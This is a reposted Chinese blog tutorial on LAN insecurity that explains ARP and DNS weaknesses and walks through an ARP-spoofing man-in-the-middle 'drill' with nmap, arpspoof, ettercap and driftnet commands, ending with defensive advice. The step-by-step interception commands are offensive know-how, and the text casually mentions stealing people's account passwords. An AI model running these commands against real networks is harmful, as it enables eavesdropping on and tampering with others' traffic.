分享

局域网安全为何如此不堪:演习一次内网攻击 | 高蛋白网

 看见就非常 2014-08-01

 

摘要: 当你在公司、在家里抑或咖啡馆连上了一个免费AP,享受互联网冲浪无比畅快的同时,背后可能正有双眼睛在监视着,MM们正在臭美的QQ空间,GG们正浏览的"照片",甚至是银行卡等账号信息...这到底是怎么回事?
作者:Goodbai | 原文:地址 | 发表:2013-08-05

准备该文一段时间了,作为新博客上第一篇文章,甚是费心,待各种小伎俩融汇贯通,才敢来卖弄。如熟悉TCP/IP协议族,则阅读本文比较轻松,如不然则也无大恙,毕竟本文只是笼统介绍局域网安全。

局域网安全为何如此不堪

首先作几个定义,什么是局域网,什么是地址解析协议,什么是网络安全,下面是个人的理解。

局域网的缺陷

局域网简称LAN(Local Area Network),对应OSI七层模型的三层以下(一般不含第三层IP层),两层交换机或者共享式集线器组网,该类设备一般不具有基于IP地址的路由功能,故局域网内各节点间通过MAC地址(网卡物理地址)标识和通信,而MAC地址是由各个节点自行维护,这意味着我说我是谁我就是谁,这可能是局域网脆弱的根本因素。

脆弱的地址解析协议

地址解析协议之于网络通信,相当于信号灯系统之于公路交通,是用来指示目标和方向的,此一旦混乱,后果可想而知,事实上呢?

  • 地址解析协议(ARP),ARP(Address Resolution Protocol),当内网节点间(或者是节点与网关间)需要通信时,ARP解析获得目标IP地址对应的MAC地址,通过该MAC地址完成数据包发送。ARP协议是局域网通信的基础,ARP协议是这样工作的:如主机B需要给主机A(IP为192.168.1.100)发送数据,为了知道谁是主机A,首先主机B发送一个广播包给网内所有机器“谁是192.168.1.10”,正常情况其他机器忽略该消息,仅主机A回复“俺就是192.168.1.10”,于是通信就可以开始。至于不正常情况就是本文的主题。

  • 域名解析系统(DNS),互联网上的设备通过IP地址标识,全数子组成的标识不利于人类记忆和处理,域名的出现改变了这种状况,那么域名是如何对应的IP地址的呢,域名服务器(DNS服务器)就是来完成域名和IP地址的互相转换功能。DNS工作原理与ARP类似,区别是DNS通过指定的DNS服务器来查询,DNS服务器一般是安全的(实际上电信运营商等某些权威机构也经常耍流氓),问题是当明文的DNS数据包通过不安全的局域网时,会被篡改。

网络安全分类

网络数据安全或许可分为两层:数据安全和链路安全。

  • 局域网数据安全,数据安全理解为数据包如果被别人获取,包含内容是否可被查看到,没有加密而明文传输的数据包都是非安全的。如SSl/STL协议数据包是安全的,而HTTP数据包一般是非安全的。数据包与协议实现有关,与网络拓扑结构无关。

  • 局域网链路安全(PATH),链路即网络数据包经过路线。如果正常通信过程中数据包有被非授权访问的可能,则认为该网络数据链路是不安全情况,因为数据包有被像嗅探甚至篡改的可能。交换型局域网正常情况是链路安全的(网关欺骗则是非正常情况);共享式组网的局域网默认下就是链路不安全,该情况下数据包按广播方式发送,同网段内任一节点都可以收到包。

安全形势到底有多严重

广域网可以看作是一个大局域网(如大中国局域网),其组织结构与局域网有类似,但也不同,广域网构建在IP协议之上,因此它的安全性相对更好(除非你是电信内部人士,可以通过控制骨干网关键网络设备,代表如上海有线通用户经常被运营商网页弹窗骚扰;或者你有特殊权限可以直接接触到国家骨干网设备,这些控制权普通用户一般很难获得。),而局域网中因为ARP协议的缺陷(不仅是ARP,应该是整套机制),导致局域网中很容易实现对网络流量的操控,局域网中典型的攻击模式大概是这样:

  1. 第一步先攻击安全链路以获得数据包访问权,如通过ARP欺骗或者DNS欺骗方式改变正常数据包传输链路;
  2. 第二步数据包协议分析,使用抓包软件抓取和分析数据包内容,通过数据包篡改等多种手段最终达成攻击目的。(A)

现实中贵重物品保存,一会放入保险箱(内容加密),二放在隐蔽的位置(链路隐藏),这样小偷一来发现不了,二来即使发现保险箱没有密码也无法打开,故这种方式相对安全。而这该死的局域网内,你的数据包一内容没有加密,二位置也没有隐藏,何来安全呢?

不消说掌握高超技术的大牛,就是仅会简单使用几个黑客工具的小菜鸟哥,都能在出租房内盗取几个MM的QQ空间账号密码什么的。

局域网通信模型图示:

几种常用黑客工具

工与善其事,必先利其器。

Wireshark(抓包利器)

Wireshark(前称Ethereal)是一个网络封包分析软件。网络封包分析软件的功能是撷取网络封包,并尽可能显示出最为详细的网络封包资料。Windows下通过Download页面下载安装即可,一般主流Linux发行版官方软件仓库已经集成该软件,可直接安装:

$ sudo apt-get install wireshark       #Ubuntu
$ sudo yum install wireshark           #Fedora/Redhat 默认wireshark运行需要root权限,忽略警告信息,选择对应的网络节点开始抓包,wireshark提供两种数据包过滤机制:
  • 抓取时过滤规则,即不符合规则的包直接PASS不会抓取;详细规则使用参考CaptureFilters,下面规则的作用是仅显示由192.168.1.100发出或者发往192.168.1.100的http数据包。 host 192.168.1.100 and port 80

  • 显示时过滤规则,即所有通过指定节点的包都抓取,但仅在界面上显示符合规则的包,详细规则使用参考DisplayFilters,下面规则的作用是仅显示由192.168.1.100发出或者发往192.168.1.100的http数据包。 (http and ip.dst==192.168.1.100 ) or ( http and ip.src==192.168.1.100)

Nmap(网络探测工具和安全/端口扫描器)

Nmap,Linux平台下历史悠久且功能强大的网络探测工具和安全扫描器,支持扫描指定网络内主机列表、扫描指定主机开放端口列表甚至探测出所安装操作系统类型。该工具系统默认集成(支持在线包管理器直接安装)。

Arpspoof(ARP欺骗)

ARP欺骗工具,工作原理就是不断的向目标(攻击对象)发送ARP数据包,包内容为“我是XXX,请把发给XXX的数据包发给我”。安装方法:

$ sudo apt-get install dsniff

Ettercap(数据包嗅探和篡改)

Ettercap,“中间人”攻击利器,ARP欺骗、DNS欺骗、数据包替换等等,十分强大,不可细说,详细使用方式参考手册(man ettercap)。

$ sudo apt-get install ettercap-graphical

ettercap实现ARP欺骗方式如下 $ sudo ettercap -i eth0 -Tq -M arp:remote /目标IP/ /网关IP/

Driftnet

抓取经过本机的网络数据包中的图片并显示,同时支持抓取和显示音频文件(来源man手册),安装:

$ sudo apt-get install driftnet

局域网典型攻击演习

本演习系统环境如下:

$ lsb_release -a
Distributor ID:	Ubuntu
Description:	Ubuntu 12.10
Release:	12.10
Codename:	quantal

第1步:锁定目标

该步不是必需。使用nmap命令扫描局域网,获得主机列表,操作如下:

$ nmap -sP  192.168.1.0/24 * “-sP” 表示使用Ping方式扫描; * “192.168.1.0/24”表示扫描"192.168.1.1-192.168.1.254"这个网段的所有机器。

nmap命令扫描结果仅供参考,也可以尝试其他参数扫描,详细使用方法参考NmapManual

第2步:收集信息

该步不是必需。选定目标为主机A(这里假定IP地址为192.168.1.110),使用命令”nmap 192.168.1.110”可获得主机A的详细情况,如服务端口开放情况,操作系统类型等信息。

$ nmap -A 192.168.1.110
Starting Nmap 6.00 ( http:// ) at 2013-08-12 12:34 CST 
Nmap scan report for 10.3.3.108
Host is up (0.00026s latency).
Not shown: 996 closed ports
PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 5.9p1 Debian 5ubuntu1.1 (protocol 2.0)
...
139/tcp open  netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
873/tcp open  rsync       (protocol version 30) 
Service Info: OS: Linux; CPE: cpe:/o:linux:kernel

第3步:开启IP转发和ARP欺骗

该步仅针对交换式局域网,共享式局域网可以忽略(共享式网络只要打开网卡的混杂模式就可以抓取所有内网数据包),ARP欺骗一般目的是把自己伪装成网关,但如果不作处理,当被欺骗数据包到达后就会被本机丢弃(因为自己到底不是网关,还不知道如何处理这类数据包),这当然是不允许的。开启IP转发功能可以解决该问题,IP转发负责把该类数据包再转发给真正的网关处理,开启IP转发的方法(注意使用root操作第二条命令):

$ sudo su
# echo 1 > /proc/sys/net/ipv4/ip_forward ARP欺骗使用arpspoof命令(开启双向欺骗,即同时欺骗主机A和网关):

$ sudo arpspoof -i eth0 -t 192.168.1.110 192.168.1.1
$ sudo arpspoof -i eth0 -t 192.168.1.1 192.168.1.110 - "-i eth0"指定设备节点,无线网络时可能是"-i wlan0"; - "-t 192.168.1.xxx"指定欺骗对象,如果不指定该项,则欺骗对象为整个网络(ARP病毒引起局域网瘫痪就是这么干的,操作前需注意),最后一个参数"192.168.1.xxx"指伪装目标。

上面第一条命令告诉主机A(192.168.1.110),我是网关(192.168.1.1),第二条命令告诉网关,我是主机A,故完成双向欺骗。

第4步:抓数据包

该步不是必需。抓包分析只是为了辅助需要(通过分析数据包流量情况监控攻击工程,同时也是深入理解攻击原理的有效方法),使用wireshark工具抓取所有和主机A相关的数据包,过滤掉不相关数据包,只抓取主机A发出或者发给主机A的数据包。启动wireshark:

$ sudo wireshark 选择对应网络设备节点(一般有线网络选择eth0,无线网络选择wlan0),开始抓包,在Filter输入框输入显示过滤条件:

ip.addr == 192.168.1.110 回车后应该在屏幕上看到已抓取包的列表,现在你可以仍然调取和分析主机A上网流量情况。

第5步:收获果实

抓取主机A http流量中的图片,通过driftnet工具实现,运行下面命令:

$ sudo driftnet -i eth0

篡改主机A访问的页面,通过ettercap工具实现,ettercap是个强大的工具,再配合sslstrip,基本可以为所欲为。 ettercap详细使用方法请参考man手册(man ettercap),这里有一篇文章可以参考一二。

该如何防范

安全形势如此严重,不得不防啊。但安全总是有成本和代价的,下面建议供参考。


对于交换式局域网,重点守住两条: 1. 交换机端口绑定IP和MAC,完成该步,可以说基本天下太平,这个一般是网络管理员的职责; 2. 如果第1步无法实现,在自己的机器上把网关IP和MAC地址静态绑定。


对于共享式局域网,这一般是在家里、街上或者出租房中合伙使用的无线路由器下的网络。也是重点守着两条: 1. 不要随便连接未知无线网络; 2. 管理好自己家里的无线路由器,最好使用WPA加密方式,并定期检察安全情况。

参考资料

Linux渗透之Ettercap详解 (较详细的ettercap文档翻译说明)
Ettercap简要原理介绍以及使用说明 (Ettercap功能介绍)
用ettercap实现DNS欺骗实例
不知不觉账号密码被窃:中间人攻击介绍
通过伪造CA证书,实现SSL中间人攻击(附详细过程和实现代码)
关于ARP欺骗与MITM(中间人攻击)的一些笔记(二)

    本站是提供个人知识管理的网络存储空间,所有内容均由用户发布,不代表本站观点。请注意甄别内容中的联系方式、诱导购买等信息,谨防诈骗。如发现有害或侵权内容,请点击一键举报。
    转藏 分享 献花(0

    0条评论

    发表

    请遵守用户 评论公约

    类似文章 更多